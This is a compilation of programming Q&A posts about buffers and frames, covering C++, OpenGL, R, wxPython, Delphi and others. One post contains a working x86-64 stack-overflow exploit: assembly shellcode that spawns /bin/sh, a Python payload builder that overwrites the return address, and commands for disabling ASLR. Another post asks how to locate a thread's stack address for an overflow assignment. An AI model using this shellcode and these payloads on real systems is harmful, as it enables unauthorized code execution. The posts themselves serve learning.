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  • Read variable-length records from a buffer - weird memory issues

    - by bsg
    Hi, I'm trying to implement an i/o intensive quicksort (C++ qsort) on a very large dataset. In the interests of speed, I'd like to read in a chunk of data at a time into a buffer and then use qsort to sort it inside the buffer. (I am currently working with text files but would like to move to binary soon.) However, my data is composed of variable-length records, and qsort needs to be told the length of the record in order to sort. Is there any way to standardize this? The only thing I could think of was rather convoluted: my program currently reads from the buffer until it hits a linefeed character ('10' in ascii), transferring each character over to another array. When it finds a linefeed (the delimiter in the input file), it fills the number of spaces remaining in the buffer for that record (record size is set to 30) with null characters. This way, I should end up with a buffer full of fixed-size records to give qsort. I know there are several problems with my approach, one being that it's just clumsy, another that the record size might conceivably be larger than 30, but is generally much less. Is there a better way of doing this? As well, my current code doesn't even work. When I debug it, it seems to be transferring characters from one buffer to the other, but when I try to print out the buffer, it contains only the first record. Here is my code: FILE *fp; unsigned char *buff; unsigned char *realbuff; FILE *inputFiles[NUM_INPUT_FILES]; buff = (unsigned char *) malloc(2048); realbuff = (unsigned char *) malloc(NUM_RECORDS * RECORD_SIZE); fp = fopen("postings0.txt", "r"); if(fp) { fread(buff, 1, 2048, fp); /*for(int i=0; i <30; i++) cout << buff[i] <<endl;*/ int y=0; int recordcounter = 0; //cout << buff; for(int i=0;i <100; i++) { if(buff[i] != char(10)) { realbuff[y] = buff[i]; y++; recordcounter++; } else { if(recordcounter < RECORD_SIZE) for(int j=recordcounter; j < RECORD_SIZE;j++) { realbuff[y] = char(0); y++; } recordcounter = 0; } } cout << realbuff <<endl; cout << buff; } else cout << "sorry"; Thank you very much, bsg

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  • Unable to get Stencil Buffer to work in iOS 4+ (5.0 works fine). [OpenGL ES 2.0]

    - by MurderDev
    So I am trying to use a stencil buffer in iOS for masking/clipping purposes. Do you guys have any idea why this code may not work? This is everything I have associated with Stencils. On iOS 4 I get a black screen. On iOS 5 I get exactly what I expect. The transparent areas of the image I drew in the stencil are the only areas being drawn later. Code is below. This is where I setup the frameBuffer, depth and stencil. In iOS the depth and stencil are combined. -(void)setupDepthBuffer { glGenRenderbuffers(1, &depthRenderBuffer); glBindRenderbuffer(GL_RENDERBUFFER, depthRenderBuffer); glRenderbufferStorage(GL_RENDERBUFFER, GL_DEPTH24_STENCIL8_OES, self.frame.size.width * [[UIScreen mainScreen] scale], self.frame.size.height * [[UIScreen mainScreen] scale]); } -(void)setupFrameBuffer { glGenFramebuffers(1, &frameBuffer); glBindFramebuffer(GL_FRAMEBUFFER, frameBuffer); glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_RENDERBUFFER, colorRenderBuffer); glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_RENDERBUFFER, depthRenderBuffer); glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT, GL_RENDERBUFFER, depthRenderBuffer); // Check the FBO. if(glCheckFramebufferStatus(GL_FRAMEBUFFER) != GL_FRAMEBUFFER_COMPLETE) { NSLog(@"Failure with framebuffer generation: %d", glCheckFramebufferStatus(GL_FRAMEBUFFER)); } } This is how I am setting up and drawing the stencil. (Shader code below.) glEnable(GL_STENCIL_TEST); glDisable(GL_DEPTH_TEST); glColorMask(GL_FALSE, GL_FALSE, GL_FALSE, GL_FALSE); glDepthMask(GL_FALSE); glStencilFunc(GL_ALWAYS, 1, -1); glStencilOp(GL_KEEP, GL_KEEP, GL_REPLACE); glColorMask(0, 0, 0, 0); glClear(GL_STENCIL_BUFFER_BIT); machineForeground.shader = [StencilEffect sharedInstance]; [machineForeground draw]; machineForeground.shader = [BasicEffect sharedInstance]; glDisable(GL_STENCIL_TEST); glColorMask(GL_TRUE, GL_TRUE, GL_TRUE, GL_TRUE); glDepthMask(GL_TRUE); Here is where I am using the stencil. glEnable(GL_STENCIL_TEST); glStencilOp(GL_KEEP, GL_KEEP, GL_KEEP); glStencilFunc(GL_EQUAL, 1, -1); ...Draw Stuff here glDisable(GL_STENCIL_TEST); Finally here is my fragment shader. varying lowp vec2 TexCoordOut; uniform sampler2D Texture; void main(void) { lowp vec4 color = texture2D(Texture, TexCoordOut); if(color.a < 0.1) gl_FragColor = color; else discard; }

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  • R: How can I reorder the rows of a matrix, data.frame or vector according to another one.

    - by John
    test1 <- as.matrix(c(1, 2, 3, 4, 5)) row.names(test1) <- c("a", "b", "c", "d", "e") test2 <- as.matrix(c(6, 7, 8, 9, 10)) row.names(test2) <- c("e", "d", "c", "b", "a") test1 [,1] a 1 d 2 c 3 b 4 e 5 test2 [,1] e 6 d 7 c 8 b 9 a 10 How can I reorder test2 so that the rows are in the same order as test1? e.g: test2 [,1] a 10 d 7 c 8 b 9 e 6 I tried to use the reorder function with: reorder (test1, test2) but I could not figure out the correct syntax. I see that reorder takes a vector, and I'm here using a matrix. My real data has one character vector and another as a data.frame. I figured that the data structure would not matter too much for this example above, I just need help with the syntax and can adapt it to my real problem.

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  • R: How can I use apply on rows of a data.frame and get out $column_name?

    - by John
    I'm trying to access $a using the following example: df<-data.frame(a=c("x","x","y","y"),b=c(1,2,3,4)) > df a b 1 x 1 2 x 2 3 y 3 4 y 4 test_fun <- function (data.frame_in) { print (data.frame_in[1]) } I can now access $a if I use an index for the first column: apply(df, 1, test_fun) a "x" a "x" a "y" a "y" [1] "x" "x" "y" "y" But I cannot access column $a with the $ notation: error: "$ operator is invalid for atomic vectors" test_fun_2 <- function (data.frame_in) { print (data.frame_in$a) } >apply(df, 1, test_fun_2) Error in data.frame_in$a : $ operator is invalid for atomic vectors Is this not possible?

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  • Strange behavior due to wx.Frame.SetTitle

    - by Anurag Uniyal
    In a wxPython application, which i am porting to Mac OSX, I set title of app frame every 500msec in update UI event, and due to that all the panels and windows are refreshed. That seems strange to me and almost halts my application which has many custom drawn controls and screens. I wanted to know what could be the reason behind it, is it normal for MAC? Here is a self-constrained script which replicates the scenario using timers. It keeps on printing "on paint" every 500ms because in timer I set title every 500ms. import wx app = wx.PySimpleApp() frame = wx.Frame(None, title="BasePainter Test") painter = wx.Panel(frame) def onPaint(event): dc = wx.PaintDC(painter) print "onPaint" painter.Bind(wx.EVT_PAINT, onPaint) def loop(): frame.SetTitle(frame.GetTitle()) wx.CallLater(500, loop) loop() frame.Show(True) app.SetTopWindow(frame) app.MainLoop() My system details: >>> sys.version '2.5 (r25:51918, Sep 19 2006, 08:49:13) \n[GCC 4.0.1 (Apple Computer, Inc. build 5341)]' >>> wx.VERSION (2, 8, 10, 1, '') >>> os.uname() ('Darwin', 'agyeys-mac-mini.local', '9.8.0', 'Darwin Kernel Version 9.8.0: Wed Jul 15 16:55:01 PDT 2009; root:xnu-1228.15.4~1/RELEASE_I386', 'i386')

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  • Problem trying to lock framerate at 60 FPS

    - by shad0w
    I've written a simple class to limit the framerate of my current project. But it does not work as it should. Here is the code: void FpsCounter::Process() { deltaTime = static_cast<double>(frameTimer.GetMsecs()); waitTime = 1000.0/fpsLimit - deltaTime; frameTimer.Reset(); if(waitTime <= 0) { std::cout << "error, waittime: " << waitTime << std::endl; } else { SDL_Delay(static_cast<Uint32>(waitTime)); } if(deltaTime == 0) { currFps = -1; } else { currFps = 1000/deltaTime; } std::cout << "--Timings--" << std::endl; std::cout << "Delta: \t" << deltaTime << std::endl; std::cout << "Delay: \t" << waitTime << std::endl; std::cout << "FPS: \t" << currFps << std::endl; std::cout << "-- --" << std::endl; } Timer::Timer() { startMsecs = 0; } Timer::~Timer() { // TODO Auto-generated destructor stub } void Timer::Start() { started = true; paused = false; Reset(); } void Timer::Pause() { if(started && !paused) { paused = true; pausedMsecs = SDL_GetTicks() - startMsecs; } } void Timer::Resume() { if(paused) { paused = false; startMsecs = SDL_GetTicks() - pausedMsecs; pausedMsecs = 0; } } int Timer::GetMsecs() { if(started) { if(paused) { return pausedMsecs; } else { return SDL_GetTicks() - startMsecs; } } return 0; } void Timer::Reset() { startMsecs = SDL_GetTicks(); } The "FpsCounter::Process()" Method is called everytime at the end of my gameloop. I've got the problem that the loop is correctly delayed only every second frame, so it runs one frame delayed at 60 FPS and the next without delay at over 1000 fps. I am searching the error quite a while now, but I do not find it. I hope somebody can point me in the right direction.

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  • IIS 6 405 error when POSTing through I-Frame

    - by Angelo R.
    Before I begin, I must add that I am more of a programmer, so please be patient :p I have a 2003 server running IIS 6. I am trying to create a Facebook application that accesses a url on my server through an I-Frame. However, Facebook is trying to send some data via POST to my page. I assumed it wouldn't be a problem since the page is .html, but I keep receiving 405 errors (Incorrect Verbs) when trying to access it. Since these are generated by IIS, I had hoped there would be a way for me to allow html files to accept POST. However, after a lot of Googling, it seems like that isn't possible, so instead I figure I can convert the page to an aspx one, and that should work... however I am running in to the same issue. I thought that simply adding POST to the .aspx entry in Application Extension Mapping would work, but it still doesn't. Does anyone know what the problem could potentially be?

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  • Black frame around screen after HDMI connection failure

    - by Wolter Hellmund
    I was trying to watch a movie in my computer through the TV, so I connected both with an HDMI cable. I was unable to have a successful setup (the colors were all weird on the TV and the screen size, incorrect), I tried many resolutions using the nvidia-settings application and somehow my screen got framed by a black border and after that I have been unable to remove it, even after restarting the computer and not being connected to the HDMI cable anymore. I am using Ubuntu 11.10 amd64, my GPU is an nVidia GeForce 8600M GT and I am using the propietary driver version 280. The problem is due to some setting with my account only. I logged in to the guest session and the resolution is right there. Also, my desktop "thinks" the resolution is right (i.e. 1280x800), but it must be right in another scale because there is pixel area occupied by the black frame.

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  • URL Frame redirection CakePHP

    - by themanbehindoftheprojectmayhem
    I need to redirect CakePHP installation host to my domain. Location of my Cakephp installation: myhosting.com/newsite/ Domain: www.mydomain.com I'm currently using URL Frame to direct www.mydomain.com to myhosting.com/newsite/. Problem When I load www.mydomain.com, I see all links in the site is pointing to the hosting location - example - myhosting.com/newsite/product/1 It should be pointing to www.mydomain.com/product/1 Any simple way to fix this? Probably very simple to solve it, but I can't bend it. Help much appreciated.

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  • Minecraft program frame rate is very slow

    - by Cade
    I have recently downloaded Minecraft to Ubuntu 12.04. It launches and plays successfully, however- the frame rates for the game are extremely slow. They never go past 9 fps and usually drop below 3 fps. I have been a Windows XP user for years and have just recently switched to Ubuntu, so I'm not an expert with this OS. My video card is a Diamond Stealth s60 with Radeon 7000. I don't know what other information you guys need but if you ask for it, and would please tell me how to get to it, I will tell you as soon as I can. Thanks for your help.

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  • jQuery Mobile Frame Forwarding [on hold]

    - by Nizam
    I have a site that does a standard forward to another site [301 Redirect]. In the redirected site, I detect if the device is a mobile using the following code: if (/Android|webOS|iPhone|iPad|iPod|BlackBerry/i.test(navigator.userAgent)) { window.location.replace("Mobile/Login/Login.aspx") } else { window.location.replace("Apps/Login/Login.aspx") } It works and jQuery mobile makes the site fits device very well. To do so, I use the following code in ASPX page: <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> The problem is that I am wanting to frame forward - instead of standard forward - (there are a lot of advantages), but the site is not fitted for the device anymore, and even the icon I have chosen for my page is not well defined anymore. The code I use to set the icon of page is: <link rel="apple-touch-icon" href="../../Apps/Imagens/Icone.png" /> My site is hosted by Mochahost My question is: Is there anything I could do to make it works?

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  • Python: combine logging and wx so that logging stream is redirectet to stdout/stderr frame

    - by Uwe
    Here's the thing: I'm trying to combine the logging module with wx.App()'s redirect feature. My intention is to log to a file AND to stderr. But I want stderr/stdout redirected to a separate frame as is the feature of wx.App. My test code: import logging import wx class MyFrame(wx.Frame): def __init__(self): self.logger = logging.getLogger("main.MyFrame") wx.Frame.__init__(self, parent = None, id = wx.ID_ANY, title = "MyFrame") self.logger.debug("MyFrame.__init__() called.") def OnExit(self): self.logger.debug("MyFrame.OnExit() called.") class MyApp(wx.App): def __init__(self, redirect): self.logger = logging.getLogger("main.MyApp") wx.App.__init__(self, redirect = redirect) self.logger.debug("MyApp.__init__() called.") def OnInit(self): self.frame = MyFrame() self.frame.Show() self.SetTopWindow(self.frame) self.logger.debug("MyApp.OnInit() called.") return True def OnExit(self): self.logger.debug("MyApp.OnExit() called.") def main(): logger_formatter = logging.Formatter("%(name)s\t%(levelname)s\t%(message)s") logger_stream_handler = logging.StreamHandler() logger_stream_handler.setLevel(logging.INFO) logger_stream_handler.setFormatter(logger_formatter) logger_file_handler = logging.FileHandler("test.log", mode = "w") logger_file_handler.setLevel(logging.DEBUG) logger_file_handler.setFormatter(logger_formatter) logger = logging.getLogger("main") logger.setLevel(logging.DEBUG) logger.addHandler(logger_stream_handler) logger.addHandler(logger_file_handler) logger.info("Logger configured.") app = MyApp(redirect = True) logger.debug("Created instance of MyApp. Calling MainLoop().") app.MainLoop() logger.debug("MainLoop() ended.") logger.info("Exiting program.") return 0 if (__name__ == "__main__"): main() Expected behavior is: - a file is created named test.log - the file contains logging messages with level DEBUG and INFO/ERROR/WARNING/CRITICAL - messages from type INFO and ERROR/WARNING/CRITICAL are ether shown on the console or in a separate frame, depending on where they are created - logger messages that are not inside MyApp or MyFrame are displayed at the console - logger messages from inside MyApp or MyFrame are shown in a separate frame Actual behavior is: - The file is created and contains: main INFO Logger configured. main.MyFrame DEBUG MyFrame.__init__() called. main.MyFrame INFO MyFrame.__init__() called. main.MyApp DEBUG MyApp.OnInit() called. main.MyApp INFO MyApp.OnInit() called. main.MyApp DEBUG MyApp.__init__() called. main DEBUG Created instance of MyApp. Calling MainLoop(). main.MyApp DEBUG MyApp.OnExit() called. main DEBUG MainLoop() ended. main INFO Exiting program. - Console output is: main INFO Logger configured. main.MyFrame INFO MyFrame.__init__() called. main.MyApp INFO MyApp.OnInit() called. main INFO Exiting program. - No separate frame is opened, although the lines main.MyFrame INFO MyFrame.__init__() called. main.MyApp INFO MyApp.OnInit() called. shouldget displayed within a frame and not on the console. It seems to me that wx.App can't redirect stderr to a frame as soon as a logger instance uses stderr as output. wxPythons Docs claim the wanted behavior though, see here. Any ideas? Uwe

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  • For buffer overflows, what is the stack address when using pthreads?

    - by t2k32316
    I'm taking a class in computer security and there is an extra credit assignment to insert executable code into a buffer overflow. I have the c source code for the target program I'm trying to manipulate, and I've gotten to the point where I can successfully overwrite the eip for the current function stack frame. However, I always get a Segmentation fault, because the address I supply is always wrong. The problem is that the current function is inside a pthread, and therefore, the address of the stack seems to always change between different runs of the program. Is there any method for finding the stack address within a pthread (or for estimating the stack address within a pthread)? (note: pthread_create's 2nd argument is null, so we're not manually assigning a stack address)

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  • Is there a default buffer length for 'sprintf' method?

    - by Isuru
    Hi, I used sprintf method to format data to a string which I want to write to a file, in C++ console application using VS 2008. The Input is a particular message, which has various variables and values (ex: Type 'int' and Value '10' / Type string and value "abc", etc.) When I send a two messages it works perfectly. But When I send more than two messages it gives a runtime error saying 0xC0000005: Access violation reading location 0xabababab. Why is this happening? Is it because the method 'sprintf' has a default buffer length? How can I overcome this problem?

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  • splitting off an emacs window into a new frame

    - by user38983
    From a frame displaying multiple windows, I'd like to be able to 'break' one of the windows off into another frame, perhaps with a modifier-click on the modeline, where the window would now have its own frame but hold the same buffer and position. I was wondering if this behavior was available somewhere in the standard library, if there was an extension for it, or perhaps if a small elisp function would work.

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  • Video/Animated GIF advanced frame editor?

    - by meder
    What sort of application could I use for example if I had a 5 minute video or an animated GIF with 50 frames, and I wanted to basically Photoshop replace an object, say a person's head, with another image for all those 50 frames? Is there some sort of smart tool that can do this or do I have to edit every single frame by hand? I wouldn't mind there being a tool where I can paste the image in every frame automatically, and switch from frame to frame adjusting the position of it, I just need something efficient. I've tried using Photoshop's import video into image sequence and tried editing with the animation toolbar at the bottom, but it's not quite what I want. I don't care if it's free software or not, I'm primarily using Linux but I have VirtualBox Windows XP if there's an excellent application that's not available otherwise.

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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • OpenGL problem with FBO integer texture and color attachment

    - by Grieverheart
    In my simple renderer, I have 2 FBOs one that contains diffuse, normals, instance ID and depth in that order and one that I use store the ssao result. The textures I use for the first FBO are RGB8, RGBA16F, R32I and GL_DEPTH_COMPONENT32F for the depth. For the second FBO I use an R16F texture. My rendering process is to first render to everything I mentioned in the first FBO, then bind depth and normals textures for reading for the ssao pass and write to the second FBO. After that I bind the second FBO's texture for reading in my blur shader and bind the first FBO for writing. What I intend to do is to write the blurred ssao value to the alpha component of the Normals texture. Here are where the problems start. First of all, I use shading language 3.3, which my graphics card does support. I manage ouputs in my shaders using layout(location = #). Now, the normals texture should be bound to color attachment 1, but when I use 1, it seems to write to my diffuse texture which should be in color attachment 0. When I instead use layout(location = 0), it gets correctly written to my normals texture. Besides this, my instance ID texture also gets resets after running the blur shader which is weird because if I use a float texture and write to it instanceID / nInstances, the texture doesn't get reset after the blur shader has ran. Here is how I prepare my first FBO: bool CGBuffer::Init(unsigned int WindowWidth, unsigned int WindowHeight){ //Create FBO glGenFramebuffers(1, &m_fbo); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, m_fbo); //Create gbuffer and Depth Buffer Textures glGenTextures(GBUFF_NUM_TEXTURES, &m_textures[0]); glGenTextures(1, &m_depthTexture); //prepare gbuffer for(unsigned int i = 0; i < GBUFF_NUM_TEXTURES; i++){ glBindTexture(GL_TEXTURE_2D, m_textures[i]); if(i == GBUFF_TEXTURE_TYPE_NORMAL) glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA16F, WindowWidth, WindowHeight, 0, GL_RGBA, GL_FLOAT, NULL); else if(i == GBUFF_TEXTURE_TYPE_DIFFUSE) glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB8, WindowWidth, WindowHeight, 0, GL_RGB, GL_FLOAT, NULL); else if(i == GBUFF_TEXTURE_TYPE_ID) glTexImage2D(GL_TEXTURE_2D, 0, GL_R32I, WindowWidth, WindowHeight, 0, GL_RED_INTEGER, GL_INT, NULL); else{ std::cout << "Error in FBO initialization" << std::endl; return false; } glFramebufferTexture2D(GL_DRAW_FRAMEBUFFER, GL_COLOR_ATTACHMENT0 + i, GL_TEXTURE_2D, m_textures[i], 0); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP); } //prepare depth buffer glBindTexture(GL_TEXTURE_2D, m_depthTexture); glTexImage2D(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT32F, WindowWidth, WindowHeight, 0, GL_DEPTH_COMPONENT, GL_FLOAT, NULL); glFramebufferTexture2D(GL_DRAW_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_TEXTURE_2D, m_depthTexture, 0); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_COMPARE_MODE, GL_NONE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP); GLenum DrawBuffers[] = {GL_COLOR_ATTACHMENT0, GL_COLOR_ATTACHMENT1, GL_COLOR_ATTACHMENT2}; glDrawBuffers(GBUFF_NUM_TEXTURES, DrawBuffers); GLenum Status = glCheckFramebufferStatus(GL_FRAMEBUFFER); if(Status != GL_FRAMEBUFFER_COMPLETE){ std::cout << "FB error, status 0x" << std::hex << Status << std::endl; return false; } //Restore default framebuffer glBindFramebuffer(GL_FRAMEBUFFER, 0); return true; } where I use an enum defined as, enum GBUFF_TEXTURE_TYPE{ GBUFF_TEXTURE_TYPE_DIFFUSE, GBUFF_TEXTURE_TYPE_NORMAL, GBUFF_TEXTURE_TYPE_ID, GBUFF_NUM_TEXTURES }; Am I missing some kind of restriction? Does the color attachment of the FBO's textures somehow gets reset i.e. I'm using a re-size function which re-sizes the textures of the FBO but should I perhaps call glFramebufferTexture2D again too? EDIT: Here is the shader in question: #version 330 core uniform sampler2D aoSampler; uniform vec2 TEXEL_SIZE; // x = 1/res x, y = 1/res y uniform bool use_blur; noperspective in vec2 TexCoord; layout(location = 0) out vec4 out_AO; void main(void){ if(use_blur){ float result = 0.0; for(int i = -1; i < 2; i++){ for(int j = -1; j < 2; j++){ vec2 offset = vec2(TEXEL_SIZE.x * i, TEXEL_SIZE.y * j); result += texture(aoSampler, TexCoord + offset).r; // -0.004 because the texture seems to be a bit displaced } } out_AO = vec4(vec3(0.0), result / 9); } else out_AO = vec4(vec3(0.0), texture(aoSampler, TexCoord).r); }

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  • How to improve the use of Delphi Frames

    - by Brian Frost
    I've used frames in Delphi for years, and they are one of the most powerful features of the VCL, but standard use of them seems to have some risk such as: It's easy to accidentally move or edit the frame sub-components on a frame's host form without realising that you are 'tweaking' with the frame - I know this does not affect the original frame code, but it's generally not what you would want. When working with the frame you are still exposed to its sub-components for visual editing, even when that frame is years old and should not be touched. So I got to thinking.... Is there a way of 'grouping' components such that their positions are 'locked'? This would be useful for finished forms as well as frames. Often other developers return code to me where only the form bounds have changed and even they did not intend any change. Is there any way of turning a frame and its components into a single Delphi component? If so, the frame internals would be completely hidden and its useability would increase further. I'm interested in any thoughts... Brian.

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  • Buffer Overflow errors when reading ConfigDelay and Manufacturer info from registry

    - by peter
    Hi All, This is a strange driver error which doesn't make a lot of sense to me. I am running an application developed in C# .NET which our company develops. I was monitoring the application using process monitor and noticed that it accesses the registry a lot. The output on Process Monitor looks like this, Operation Result Path RegQueryValue Success HKLM\System\CurrentControlSet\Enum\SWMUXBUS\SW_MODEM\7&6c4af30&0&5&0004\Driver RegQueryValue Success HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Properties RegQueryValue Success HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Default RegQueryValue Success HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\InactivityScale RegQueryValue Name Not Found HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\PowerDelay RegQueryValue Name Not Found HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\ConfigDelay RegQueryValue Buffer Overflow HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Manufacturer RegQueryValue Buffer Overflow HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Model RegQueryValue Name Not Found HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Version The app is reading this stuff every 5 seconds from the registry, so I would ask a few questions, 1) What is this stuff 2) Why is the app reading this stuff 3) Why is it saying 'Buffer Overflow' 4) Could this cause performance problems for my app? From what I can see the app does not explicitly read this stuff, so I think this relates to a driver on the machine (which is a netbook)

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  • handling various frame layouts in android

    - by vaibhav
    i'm new to game development and am trying create a Contra or the old tmnt game (but a simple one) like game for android. for the game i decided to divide my main screen in three parts - upper for stats,mid for the game and lower for controls. my main.xml is <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical" > <FrameLayout android:id="@+id/upper_bar" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_weight="1" > </FrameLayout> <FrameLayout android:id="@+id/fl" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_weight="0.5" > </FrameLayout> <FrameLayout android:id="@+id/low_bar" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_weight="0.85" > </FrameLayout> </LinearLayout> so i have created the gameview and gameloopthread classes for the mid surface(which is pretty standard). my problem is that how do i draw in the upper and lower frame layouts? should i make new classes for view and thread for each layout , should i do all this in the gameview class itself or is there any better way to implement this?

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  • Making a C# w/ WPF multiple frame text / pseudo-calendar GUI application [closed]

    - by Gregor Samsa
    I am editing a recently asked question and making it specific, taking the advice of some people here. I would like to program of the following simple form: The user can produce X number of resizable frames (analogous to HTML frames). Each frame serves as a simple text editor, which you can type into and save the whole configuration including resized windows and text. The user should be able alternately "freeze" and present the information, and "unfreeze" and edit frames. I want to use C## with WPF, in Microsoft's Visual C#. I do not yet know this language. I am sure I can pick up the syntax, but I would like to ask about some general advice for how to structure such a program. I have never made a GUI program, let alone one that interfaces with a notepad or some basic text editor. Can someone either direct me to a good resource that will teach me how to do the above? Or outline the basic ingredients that such a program will require, keeping in mind that though I know some C and Python, I have no experience with GUIs or advanced programming generally? In particular I don't know how to incorporate this "text editor" aspect of the program, as well as the resizable frames I would greatly appreciate any help.

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  • Moviebarcodes Showcases Entire Movies as Frame-based Barcodes

    - by Jason Fitzpatrick
    If you’ve ever wanted a chance to look at at an entire movie in a single glance, here’s your chance. Moviebarcodes shares mock-barcodes generated by turning each frame of a movie into a thin stripe, offering a glimpse into the color choices and shot lengths in popular movies. The barcode seen above was generated from The Matrix; you can see where the green indicates scenes that were shot inside the matrix and thus given a subtle green tint. In the barcode below, generated from the movie Pleasantville you can see the transition in the movie between the color and black and white scenes. In the case of Pleasantville, elements of the black and white world turning to color represent pivotal moments in the plot development which are now neatly mapped out below: Check out the hundreds of barcodes at the link below; you can even order prints of your favorite movies. Find a great rendering in the mix? Share a link in the comments below. Moviebarcodes [via Cool Inforgraphics] How to Create an Easy Pixel Art Avatar in Photoshop or GIMPInternet Explorer 9 Released: Here’s What You Need To KnowHTG Explains: How Does Email Work?

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  • c# scripting execution with xna (actions take more than 1 frame)

    - by user658091
    I'm trying to figure out how to implement c# scripting into my game (XNA with C#). I will be using C# as the scripting language. My question is, how to call functions that take more than 1 frame to finish? For example: class UserScript : Script { public override void execute(Game game) { //script must wait for dialog to be closed game.openDialog("This is a dialog"); //script should'nt wait for this int goldToGive = 100; goldToGive += 100; game.addGold(goldToGive); // //script should wait for cinematic to end game.startCinematic("name_of_cinematic"); //doesn't wait game.addGold(100); } } I found that you can do that with yield, but I'm not sure if it's the correct way (It's from 2010, the article mentioned no longer exists). http://stackoverflow.com/questions/3540231/implementing-a-simple-xml-based-scripting-language-for-an-xna-game Is yield the answer? If so, can anyone point me any examples/tutorials/books? I haven't found any regarding my situation. If not, what approach should I take? or am I better off with multi-threading?

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  • Is good practice to optimize FPS even when it's above the lower limit to give illusion of movement?

    - by rraallvv
    I started over 50 FPS on the iPhone, but now I'm bellow 30 PFS, I've seen most iPhone games clamped to either 60 or 30 FPS, even when 24 or less would give the illusion of movement. I've concidered my limit to be a little bit over 15 FPS, in fact my physics simulation is updated at that rate (15.84 steps/s) as that is the lowest that still give fluid movement, a bit lower gives jerky motion. Is there a practical reason why to clamp FPS way above the lower limit? Update: The following image could help to clarify I can independently set the physic simulation step, frame rate, and simulation interval update. My concern is why should I clamp any of those to values greater than the minimum? For instance to conserve battery life I could just to choose the lower limits, but it seems that 60 or 30 FPS are the most used values.

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